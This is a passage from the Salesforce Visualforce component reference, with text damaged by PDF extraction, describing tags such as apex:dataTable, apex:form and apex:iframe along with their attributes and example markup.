Description Indicates whether the component can be used outside of any page in the same namespace as the component. Possible values are "public" (default) and "global". Use global to indicate the component can be used outside of the component's namespace. If the access attribute is set to global, the access attribute on all required child apex:attributes must also be set to global. If the access attribute is set to public, the access attribute on child apex:attributes cannot be set to global. NOTE: Components with this designation are subject to the deprecation policies as described for managed packages. If this attribute is set to true, you can include DML within the component. The default is false. Allowing DML can cause side-effects that could become problematic for consumers using the component with partial page updates. When allowing DML within a component, you should include rerender attributes so the consumer can appropriately refresh their page. In addition, you should detail, in the description of the component, what data is manipulated by the DML so that consumers of the component are aware of potential side-effects. The name of the Apex controller used to control the behavior of this custom component. The name of one or more controller extensions that add additional logic to this custom component. An identier that allows the component to be referenced by other tags in the component denition. The language used to display labels that have associated translations in Salesforce. This value overrides the language of the user viewing the component. Possible values for this attribute include any language keys for languages supported by Salesforce, for example, "en" or "en-US". A Boolean value that species whether the custom component is rendered. If not specied, this value defaults to true. A Boolean value that species how the Visualforce editor closes this component. If this attribute is set to "true", the Visualforce editor auto-completes the component as a self-closing tag. If not, it auto-completes the component with open and close tags. For example, if this attribute is set to "true" on a component called myComponent, the editor will auto-complete it as <c:myComponent/>. If it is set to "false", it will auto-complete it as
String
allowDML
Boolean
13.0
global
rendered
Boolean
12.0
global
selfClosing
Boolean
15.0
232
apex:componentBody
Description <c:myComponent></c:myComponent> If the component includes a componentBody, the default for this attribute is "false". If the component does not include a componentBody, the default for the attribute is "true".
apex:componentBody
This tag allows a custom component author to dene a location where a user can insert content into the custom component. This is especially useful for generating custom iteration components. This component is valid only within an <apex:component> tag, and only a single denition per custom component is allowed.
Simple Example
<!-- Page: --> <apex:page> <apex:outputText value="(page) This is before the custom component"/><br/> <c:bodyExample> <apex:outputText value="(page) This is between the custom component" /> <br/> </c:bodyExample> <apex:outputText value="(page) This is after the custom component"/><br/> </apex:page> <!-- Component: bodyExample --> <apex:component> <apex:outputText value="First custom component output" /> <br/> <apex:componentBody /> <apex:outputText value="Second custom component output" /><br/> </apex:component>
Advanced Example
<!-- Page: --> <apex:page > <c:myaccounts var="a"> <apex:panelGrid columns="2" border="1"> <apex:outputText value="{!a.name}"/> <apex:panelGroup > <apex:panelGrid columns="1"> <apex:outputText value="{!a.billingstreet}"/> <apex:panelGroup > <apex:outputText value="{!a.billingCity}, {!a.billingState} {!a.billingpostalcode}"/> </apex:panelGroup> </apex:panelGrid> </apex:panelGroup> </apex:panelGrid> </c:myaccounts> </apex:page> <!-- Component: myaccounts--> <apex:component controller="myAccountsCon"> <apex:attribute name="var" type="String" description="The variable to represent a single account in the iteration."/> <apex:repeat var="componentAccount" value="{!accounts}"> <apex:componentBody >
233
apex:componentBody
<apex:variable var="{!var}" value="{!componentAccount}"/> </apex:componentBody> </apex:repeat> </apex:component> /*** Controller ***/ public class myAccountsCon { public List<Account> accounts { get { accounts = [select name, billingcity, billingstate, billingstreet, billingpostalcode from account where ownerid = :userinfo.getuserid()]; return accounts; } set; } }
234
apex:composition
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
apex:composition
An area of a page that includes content from a second template page. Template pages are Visualforce pages that include one or more <apex:insert> components. The <apex:composition> component names the associated template, and provides body for the template's <apex:insert> components with matching <apex:define> components. Any content outside of an <apex:composition> component is not rendered. See also: <apex:insert>, <apex:define>
Example
<!-- Page: composition --> <!-- This page acts as the template. Create it first, then the page below. --> <apex:page> <apex:outputText value="(template) This is before the header"/><br/> <apex:insert name="header"/><br/> <apex:outputText value="(template) This is between the header and body"/><br/> <apex:insert name="body"/> </apex:page> <!-- Page: page --> <apex:page> <apex:composition template="composition"> <apex:define name="header">(page) This is the header of mypage</apex:define> <apex:define name="body">(page) This is the body of mypage</apex:define> </apex:composition> </apex:page>
235
apex:dataList
Attributes
Attribute Name Attribute Type
rendered
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String
template
ApexPages.PageReference The template page used for this component. For this Yes value, specify the name of the Visualforce page or use merge-eld syntax to reference a page or PageReference.
10.0
global
apex:dataList
An ordered or unordered list of values that is dened by iterating over a set of data. The body of the <apex:dataList> component species how a single item should appear in the list. The data set can include up to 1,000 items.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: --> <apex:page controller="dataListCon" id="thePage"> <apex:dataList value="{!accounts}" var="account" id="theList"> <apex:outputText value="{!account.name}"/> </apex:dataList> </apex:page>
List<Account> accounts;
236
apex:dataList
if(accounts == null) accounts = [select name from account limit 10]; return accounts; } }
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The rst element in the iteration that is visibly rendered in the list, where 0 is the index of the rst element in the set of data specied by the value attribute. For example, if you did not want to display the rst three elements in the set of records specied by the value attribute, set rst="2". An identier that allows the dataList component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the list. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the list twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
String
first
Integer
10.0
global
id lang
String String
10.0 10.0
global global
onkeyup
String
10.0
global
237
apex:dataTable
Description The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the list. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the list. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The maximum number of items to display in the list. If not specied, this value defaults to 0, which displays all possible list items. The style used to display the dataList component, used primarily for adding inline CSS styles. The style class used to display the dataList component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component. The type of list that should display. For ordered lists, possible values include "1", "a", "A", "i", or "I". For unordered lists, possible values include "disc", "square", and "circle". If not specied, this value defaults to "disc". The collection of data displayed in the list.
Required? API Access Version 10.0 10.0 10.0 global global global
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
rows
Integer
10.0
global
style styleClass
String String
10.0 10.0
global global
title type
String String
10.0 10.0
global global
value var
Object String
Yes
10.0 10.0
global global
The name of the variable that should represent one Yes element in the collection of data specied by the value attribute. You can then use this variable to display the element itself in the body of the dataList component tag.
apex:dataTable
An HTML table that is dened by iterating over a set of data, displaying information about one item of data per row. The body of the <apex:dataTable> contains one or more column components that specify what information should be displayed for each item of data. The data set can include up to 1,000 items.
238
apex:dataTable
<!-- Page: --> <apex:page controller="dataTableCon" id="thePage"> <apex:dataTable value="{!accounts}" var="account" id="theTable" rowClasses="odd,even" styleClass="tableClass"> <apex:facet name="caption">table caption</apex:facet> <apex:facet name="header">table header</apex:facet> <apex:facet name="footer">table footer</apex:facet> <apex:column> <apex:facet name="header">Name</apex:facet> <apex:facet name="footer">column footer</apex:facet> <apex:outputText value="{!account.name}"/> </apex:column> <apex:column> <apex:facet name="header">Owner</apex:facet> <apex:facet name="footer">column footer</apex:facet> <apex:outputText value="{!account.owner.name}"/> </apex:column> </apex:dataTable> </apex:page>
List<Account> accounts;
239
apex:dataTable
if(accounts == null) accounts = [select name, owner.name from account limit 10]; return accounts; } }
240
apex:dataTable
<td>Ball Corp</td> <td>Alan Ball</td> </tr> <tr class="odd"> <td>Wessler Co.</td> <td>Jill Wessler</td> </tr> </tbody> </table>
Attributes
Attribute Name Attribute Type
align
Description The position of the rendered HTML table with respect to the page. Possible values include "left", "center", or "right". If left unspecied, this value defaults to "left". The background color of the rendered HTML table. The width of the frame around the rendered HTML table, in pixels. The style class used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The style used to display the caption for the rendered HTML table, if a caption facet is specied. This attribute is used primarily for adding inline CSS styles. The amount of space between the border of each table cell and its contents. If the value of this attribute is a pixel length, all four margins are this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space. The amount of space between the border of each table cell and the border of the other cells surrounding it and/or the table's edge. This value must be specied in pixels or percentage. A comma-separated list of one or more classes associated with the table's columns, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specied, the classes
String
captionStyle
String
10.0
global
cellpadding
String
10.0
global
cellspacing
String
10.0
global
columnClasses String
10.0
global
241
apex:dataTable
Description are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the rst column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on.
columns columnsWidth
Integer String
The number of columns in this table. A comma-separated list of the widths applied to each table column. Values can be expressed as pixels (for example, columnsWidth="100px, 100px"). The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The rst element in the iteration visibly rendered in the table, where 0 is the index of the rst element in the set of data specied by the value attribute. For example, if you did not want to display the rst two elements in the set of records specied by the value attribute, set rst="2". The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The borders drawn for this table. Possible values include "none", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", and "border". If not specied, this value defaults to "border". The style class used to display the header for the rendered HTML table, if a header facet is specied. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet. An identier that allows the dataTable component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the data table. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the data table twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
10.0 10.0
global global
dir
String
10.0
global
first
Integer
10.0
global
footerClass
String
10.0
global
frame
String
10.0
global
headerClass
String
10.0
global
id lang
String String
10.0 10.0
global global
242
apex:dataTable
Description The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the data table. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the data table. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onRowClick event occurs--that is, if the user clicks a row in the data table. The JavaScript invoked if the onRowDblClick event occurs--that is, if the user clicks a row in the data table twice. The JavaScript invoked if the onRowMouseDown event occurs--that is, if the user clicks a mouse button in a row of the data table. The JavaScript invoked if the onRowMouseMove event occurs--that is, if the user moves the mouse pointer over a row of the data table. The JavaScript invoked if the onRowMouseOut event occurs--that is, if the user moves the mouse pointer away from a row in the data table. The JavaScript invoked if the onRowMouseOver event occurs--that is, if the user moves the mouse pointer over a row in the data table. The JavaScript invoked if the onRowMouseUp event occurs--that is, if the user releases the mouse button over a row in the data table. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A comma-separated list of one or more classes associated with the table's rows, used primarily to designate which
String
onmouseover
String
10.0
global
onmouseup onRowClick
String String
onRowDblClick String
onRowMouseDown String
10.0
global
onRowMouseMove String
10.0
global
onRowMouseOut String
10.0
global
onRowMouseOver String
10.0
global
onRowMouseUp
String
10.0
global
rendered
Boolean
10.0
global
rowClasses
String
10.0
global
243
apex:dataTable
Description CSS styles are applied when using an external CSS stylesheet. If more than one class is specied, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the rst row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on.
rows rules
Integer String
The number of rows in this table. The borders drawn between cells in the table. Possible values include "none", "groups", "rows", "cols", and "all". If not specied, this value defaults to "none". The style used to display the dataTable component, used primarily for adding inline CSS styles. The style class used to display the dataTable component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. A summary of the table's purpose and structure for Section 508 compliance. The text to display as a tooltip when the user's mouse pointer hovers over this component. The collection of data displayed in the table. Yes
10.0 10.0
global global
style styleClass
String String
10.0 10.0
global global
The name of the variable that represents one element in Yes the collection of data specied by the value attribute. You can then use this variable to display the element itself in the body of the dataTable component tag. The width of the entire table, expressed either as a relative percentage to the total amount of available horizontal space (for example, width="80%"), or as the number of pixels (for example, width="800px").
width
String
10.0
global
Facets
Facet Name
caption
Description
API Version
The components that appear in the caption for the table. Note that the order in 10.0 which a caption facet appears in the body of a dataTable component does not matter, because any facet with name="caption" will control the appearance of the table's caption. The components that appear in the footer row for the table. Note that the order in which a footer facet appears in the body of a dataTable component does not matter, because any facet with name="footer" will control the appearance of the nal row in the table. 10.0
footer
244
apex:dene
Facet Name
header
Description
API Version
The components that appear in the header row for the table. Note that the order 10.0 in which a header facet appears in the body of a dataTable component does not matter, because any facet with name="header" will control the appearance of the rst row in the table.
apex:define
A template component that provides content for an <apex:insert> component dened in a Visualforce template page. See also: <apex:composition>, <apex:insert>
Example
<!-- Page: composition --> <!-- This page acts as the template. Create it first, then the page below. --> <apex:page> <apex:outputText value="(template) This is before the header"/><br/> <apex:insert name="header"/><br/> <apex:outputText value="(template) This is between the header and body"/><br/> <apex:insert name="body"/> </apex:page> <!-- Page: page --> <apex:page> <apex:composition template="composition"> <apex:define name="header">(page) This is the header of mypage</apex:define> <apex:define name="body">(page) This is the body of mypage</apex:define> </apex:composition> </apex:page>
Attributes
Attribute Name Attribute Type
name
Description
String
The name of the insert component into which the content Yes of this dene component should be inserted.
245
apex:detail
apex:detail
The standard detail page for a particular object, as dened by the associated page layout for the object in Setup. This component includes attributes for including or excluding the associated related lists, related list hover links, and title bar that appear in the standard Salesforce application interface.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Account"> <apex:detail subject="{!account.ownerId}" relatedList="false" title="false"/> </apex:page>
Attributes
Attribute Name Attribute Type
id inlineEdit
Description An identier that allows the detail component to be referenced by other components in the page. Controls whether the component supports inline editing. If this is set to true, the <apex:detail> component must also be a descendant of an <apex:form> tag. See also: <apex:inlineEditSupport>
String Boolean
oncomplete
String
The JavaScript invoked if the oncomplete event occurs--that is, when the tab has been selected and its content rendered on the page. This attribute only works if inlineEdit or showChatter are set to true.
20.0
relatedList
Boolean
A Boolean value that species whether the related lists are included in the rendered component. If true, the related lists are displayed. If not specied, this value defaults to true. A Boolean value that species whether the related list hover links are included in the rendered component. If true, the related list hover links are displayed. If not specied, this value defaults to true. Note that this attribute is ignored if the relatedList attribute is false, or if the "Enable Related List Hover Links" option is not selected under Setup | Customize | User Interface.
10.0
global
relatedListHover Boolean
10.0
global
246
apex:enhancedList
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. This attribute only works if inlineEdit or showChatter are set to true.
Boolean
rerender
Object
20.0
showChatter
Boolean
A Boolean value that species whether to display the Chatter information and controls for the record. If this is true, and showHeader on <apex:page> is false, then the layout looks exactly as if the <chatter:feedWithFollowers> is being used. If this is true, and showHeader on <apex:page> is true, then the layout looks like the regular Chatter UI.
20.0
subject title
String Boolean
The ID of the record that should provide data for this component. A Boolean value that species whether the title bar is included in the rendered component. If true, the title bar is displayed. If not specied, this value defaults to true.
10.0 10.0
global global
apex:enhancedList
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications this component is displayed on the main tab for a particular object. This component has additional attributes that can be specied, such as the height and rows per page, as compared to <apex:listView>. Note: When an <apex:enhancedList> is rerendered through another component's rerender attribute, the <apex:enhancedList> must be inside of an <apex:outputPanel> component that has its layout attribute set to "block". The <apex:enhancedList> component is not allowed on pages that have the attribute showHeader set to false. You can only have ve <apex:enhancedList> components on a single page. Ext JS versions less than 3 should not be included on pages that use this component. See also: <apex:listView>. Notes:
Example
<apex:page> <apex:enhancedList type="Account" height="300" rowsPerPage="10" id="AccountList" /> <apex:enhancedList type="Lead" height="300" rowsPerPage="25" id="LeadList" customizable="False" /> </apex:page>
247
apex:enhancedList
Attributes
Attribute Name Attribute Type
customizable
Description A Boolean value that species whether the list can be customized by the current user. If not specied, the default value is true. If this attribute is set to false, the current user will not be able to edit the list denition or change the list name, lter criteria, columns displayed, column order, or visibility. However, the current user's personal preferences can still be set, such as column width or sort order. An integer value that species the height of the list in pixels. This value is required. The database ID of the desired list view. When editing a list view denition, this ID is the 15-character string after 'fcf=' in the browser's address bar. This value is required if type is not specied. The Salesforce object for which views are displayed. This value is required if type is not specied. The JavaScript that runs after the page is refreshed in the browser. Note that refreshing the page automatically calls this JavaScript, while an inline edit and subsequent save does not. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge eld expression for a list or collection of IDs. Note: When an enhancedList is rerendered through another component's rerender attribute, the enhanceList must be inside of an apex:outputPanel component that has layout attribute set to "block". An integer value that species the number of rows per page. The default value is the preference of the current user. Possible values are 10, 25, 50, 100, 200. Note: If you set the value for greater than 100, a message is automatically displayed to the user, warning of the potential for performance degradation. The Salesforce object for which views are displayed, for example, type="Account" or type="My_Custom_Object__c". An integer value that species the width of the list in pixels. The default value is the available page width, or
Boolean
height id
Integer String
Yes
listId oncomplete
String String
14.0 14.0
rendered
Boolean
14.0
reRender
Object
14.0
rowsPerPage
Integer
14.0
type
String
14.0
width
Integer
14.0
248
apex:facet
Description the width of the browser if the list is not displayed in the initially viewable area of the viewport.
apex:facet
A placeholder for content that is rendered in a specic part of the parent component, such as the header or footer of an <apex:dataTable>. An <apex:facet> component can only exist in the body of a parent component if the parent supports facets. The name of the facet component must match one of the pre-dened facet names on the parent component. This name determines where the content of the facet component is rendered. Consequently, the order in which a facet component is dened within the body of a parent component does not affect the appearence of the parent component. See <apex:dataTable> for an example of facets.
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Shows a two column table of contacts associated with the account. The account column headers are controlled by the facets.--> <apex:page standardController="Account"> <apex:pageBlock title="Contacts"> <apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1"> <apex:column > <apex:facet name="header">Name</apex:facet> {!contact.Name} </apex:column> <apex:column > <apex:facet name="header">Phone</apex:facet> {!contact.Phone} </apex:column> </apex:dataTable> </apex:pageBlock> </apex:page>
Attributes
Attribute Name Attribute Type
name
Description
String
The name of the facet to be rendered. This name must Yes match one of the pre-dened facet names on the parent component and determines where the content of the facet component is rendered. For example, the dataTable component includes facets named "header", "footer", and "caption".
249
apex:ash
apex:flash
A Flash movie, rendered with the HTML object and embed tags.
Attributes
Attribute Name Attribute Type
flashvars
Description The ashvars attribute can be used to import root level variables to the movie. All variables are created before the rst frame of the SWF is played. The value should consist of a list of ampersand-separated name-value pairs.
String
height
String
The height at which this movie is displayed, expressed Yes either as a relative percentage of the total available vertical space (for example, 50%) or as a number of pixels (for example, 100). An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the ash movie plays repeatedly or just once. If set to true, the ash movie plays repeatedly. If not specied, this value defaults to false. A Boolean value that species whether the ash movie automatically begins playing when displayed. If set to true, the ash movie automatically begins playing. If not specied, the value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The path to the movie displayed, expressed as a URL. Yes Note that a ash movie can be stored as a static resource in Salesforce. The width at which this movie is displayed, expressed either as a relative percentage of the total available horizontal space (for example, 50%) or as a number of pixels (for example, 100). Yes
14.0
id loop
String Boolean
21.0 14.0
global
play
Boolean
14.0
rendered
Boolean
21.0
global
src
String
14.0
width
String
14.0
250
apex:form
apex:form
A section of a Visualforce page that allows users to enter input and then submit it with an <apex:commandButton> or <apex:commandLink>. The body of the form determines the data that is displayed and the way it is processed. It's a best practice to verify that pages and custom components use at most one <apex:form> tag. As of API version 18.0, this tag can't be a child component of <apex:repeat>.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid case record in the URL. For example, if 001D000000IRt53 is the case ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Case" recordSetVar="cases" tabstyle="case"> <apex:form id="changeStatusForm"> <apex:pageBlock > <apex:pageMessages /> <apex:pageBlockButtons> <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockButtons> <apex:pageBlockTable value="{!cases}" var="c"> <apex:column value="{!c.casenumber}"/> <apex:column value="{!c.account.name}"/> <apex:column value="{!c.contact.name}"/> <apex:column value="{!c.subject}"/> <apex:column headerValue="Status"> <apex:inputField value="{!c.Status}"/> </apex:column> </apex:pageBlockTable> </apex:pageBlock> </apex:form> </apex:page>
251
apex:form
<tbody> <tr class="dataRow even first "> <td class="dataCell"><span>00001000</span></td> <td class="dataCell"><span>Edge Communications</span></td> <td class="dataCell"><span>Rose Gonzalez</span></td> <td class="dataCell"><span>Starting generator after electrical failure</span></td> <td class="dataCell"> <select> <option value="">--None--</option> <option value="New">New</option> <option value="Working" selected="selected">Working</option> <option value="Escalated">Escalated</option> <option value="Closed">Closed</option> </select> </td> </tr> <tr class="dataRow odd last "> <td class="dataCell"><span>00001027</span></td> <td class="dataCell"><span>Joyce Bookings</span></td> <td class="dataCell"><span>Andy Young</span></td> <td class="dataCell"><span>Checking paper jam</span></td> <td class="dataCell"> <select> <option value="">--None--</option> <option value="New">New</option> <option value="Working" selected="selected">Working</option> <option value="Escalated">Escalated</option> <option value="Closed">Closed</option> </select> </td> </tr> </tbody> </table> </div> <!-- closing div tags --> </form>
Attributes
Attribute Name Attribute Type
accept
Description The text to display as a tooltip when the user's mouse pointer hovers over this component. A comma-separated list of character encodings that a server processing this form can handle. If not specied, this value defaults to "UNKNOWN". The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The content type used to submit the form to the server. If not specied, this value defaults to "application/x-www-form-urlencoded".
String
acceptcharset String
dir
String
10.0
global
enctype
String
10.0
global
252
apex:form
Description The form will be submitted using SSL, regardless of whether the page itself was served with SSL. The default is false. If the value is false, the form will be submitted using the same protocol as the page. If forceSSL is set to true, when the form is submitted, the page returned will use SSL. An identier that allows the form component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the form. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the form twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the form. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the form. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onreset event occurs--that is, if the user clicks the reset button on the form. The JavaScript invoked if the onsubmit event occurs--that is, if the user clicks the submit button on the form. Note, in Internet Explorer version 6, if your form has only one input item, pressing return will not trigger the onsubmit event. This is an issue with JavaScript in Internet Explorer version 6, and is not specic to Visualforce. To work around this issue, add a second form element, for example,
Boolean
id lang
String String
10.0 10.0
global global
onmouseover
String
10.0
global
253
apex:iframe
prependId
Boolean
A Boolean value that species whether or not this form should prepend its ID to the IDs of its child components during the clientid generation process. If not specied, the value defaults to true. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the form component, used primarily for adding inline CSS styles. The style class used to display the form component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The name of the frame that displays the response after the form is submitted. Possible values for this attribute include "_blank", "_parent", "_self ", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination. The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
global
rendered
Boolean
10.0
global
style styleClass
String String
10.0 10.0
global global
target
String
10.0
global
title
String
10.0
global
apex:iframe
A component that creates an inline frame within a Visualforce page. A frame allows you to keep some information visible while other information is scrolled or replaced.
Example
<apex:iframe src="http://www.salesforce.com" scrolling="true" id="theIframe"/>
Attributes
Attribute Name Attribute Type
frameborder
Description A Boolean value that species whether a border should surround the inline frame. If not specied, this value defaults to false.
Boolean
254
apex:image
Description The height of the inline frame, expressed either as a percentage of the total available vertical space (for example height="50%"), or as the number of pixels (for example, height="300px"). If not specied, this value defaults to 600px. An identier that allows the inline frame component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether the inline frame can be scrolled. If not specied, this value defaults to true. The URL that species the initial contents of the inline frame. This URL can either be an external website, or another page in the application. The text to display as a tooltip when the user's mouse pointer hovers over this component. The width of the inline frame, expressed either as a percentage of the total available horizontal space (for example width="80%"), or as the number of pixels (for example, width="600px").
String
id rendered
String Boolean
10.0 10.0
global global
scrolling src
Boolean String
10.0 10.0
global global
title width
String String
10.0 10.0
global global
apex:image
A graphic image, rendered with the HTML <img> tag.
Example
<apex:image id="theImage" value="/img/myimage.gif" width="220" height="55"/>
Resource Example
<apex:image id="theImage" value="{!$Resource.myResourceImage}" width="200" height="200"/>
255
apex:image
Attributes
Attribute Name Attribute Type
alt dir
Description An alternate text description of the image, used for Section 508 compliance. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The height at which this image should be displayed, expressed either as a relative percentage of the total available vertical space (for example, height="50%") or as a number of pixels (for example, height="100px"). If not specied, this value defaults to the dimension of the source image le. An identier that allows the image component to be referenced by other components in the page. A Boolean value that species whether this image should be used as an image map. If set to true, the image component must be a child of a commandLink component. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. A URL that links to a longer description of the image. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the image. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the image twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
String String
height
String
10.0
global
id ismap
String Boolean
10.0 10.0
global global
lang
String
10.0
global
onkeyup
String
10.0
global
256
apex:include
Description The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the image. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the image. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the image component, used primarily for adding inline CSS styles. The style class used to display the image component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component. The path to the image displayed, expressed either as a URL or as a static resource or document merge eld. The name of a client-side image map (an HTML map element) for which this element provides the image. The path to the image displayed, expressed either as a URL or as a static resource or document merge eld. The width at which this image is displayed, expressed either as a relative percentage of the total available horizontal space (for example, width="50%") or as a number of pixels (for example, width="100px"). If not specied, this value defaults to the dimension of the source image le.
Required? API Access Version 10.0 10.0 10.0 global global global
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
style styleClass
String String
10.0 10.0
global global
apex:include
A component that inserts a second Visualforce page into the current page. The entire page subtree is injected into the Visualforce DOM at the point of reference and the scope of the included page is maintained. If content should be stripped from the included page, use the <apex:composition> component instead.
257
apex:includeScript
Example
<!-- Page: --> <apex:page id="thePage"> <apex:outputText value="(page) This is the page."/><br/> <apex:include pageName="include"/> </apex:page> <!-- Page: include --> <apex:page id="theIncludedPage"> <apex:outputText value="(include) This is text from another page."/> </apex:page>
Attributes
Attribute Name Attribute Type
id pageName
Description An identier that allows the inserted page to be referenced by other components in the page.
String
ApexPages.PageReference The Visualforce page whose content should be inserted Yes into the current page. For this value, specify the name of the Visualforce page or use merge-eld syntax to reference a page or PageReference. Boolean A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
rendered
10.0
global
apex:includeScript
A link to a JavaScript library that can be used in the Visualforce page. When specied, this component injects a script reference into the head element of the generated HTML page. For performance reasons, you may simply want to use a JavaScript tag before your closing <apex:page> tag, rather than this component.
Example
<apex:includeScript value="{!$Resource.example_js}"/>
258
